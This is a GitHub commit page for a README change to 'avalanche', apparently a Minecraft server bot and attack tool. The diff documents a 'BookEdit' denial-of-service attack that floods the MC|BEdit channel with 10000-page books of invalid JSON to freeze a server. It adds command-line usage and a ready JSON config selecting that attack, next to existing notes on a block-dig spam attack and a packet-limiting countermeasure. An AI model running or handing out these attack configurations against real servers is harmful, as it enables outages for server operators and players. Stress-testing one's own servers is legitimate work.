Skip to content

Commit

Permalink
Add JSON instructions to readme
Browse files Browse the repository at this point in the history
  • Loading branch information
plushmonkey committed May 7, 2017
1 parent bc68f80 commit d22a2e7
Showing 1 changed file with 31 additions and 0 deletions.
31 changes: 31 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,11 @@ This setting doesn't need to be changed when using `127.0.0.1` to log in.
This will spam the server with block dig packets. This can cause massive lag with WorldEdit permission checks.
Countering the attack is as easy as putting in a packet limiting plugin, such as NoCheatPlus.

### BookEdit
This sends book data with many pages to the MC|BEdit plugin channel.
The pages aren't valid JSON, so each page that the server tries to deserialize will throw an exception.
One instance is enough to freeze a server up by sending 10000 page book every tick.

## Examples
```
./avalanche --username bot --password pw --server 127.0.0.1:25565
Expand All @@ -26,3 +31,29 @@ Spawns in 19 instances that do nothing.
./avalanche --username bot --password pw --server 127.0.0.1 --count 19 --attack interact
```
Spawns in 19 instances that will do the interact attack.

```
./avalanche --json basic.json
```
Reads the config from basic.json file.

### JSON Example
```
{
"login": {
"username": "user",
"password": "pw",
"server": "127.0.0.1",
"method": {
"name": "flood",
"delay": 0
}
},
"count": 5,
"attack": {
"method": "bookedit",
"send-per-tick": 1,
"pages": 10000
}
}
```

0 comments on commit d22a2e7

Please sign in to comment.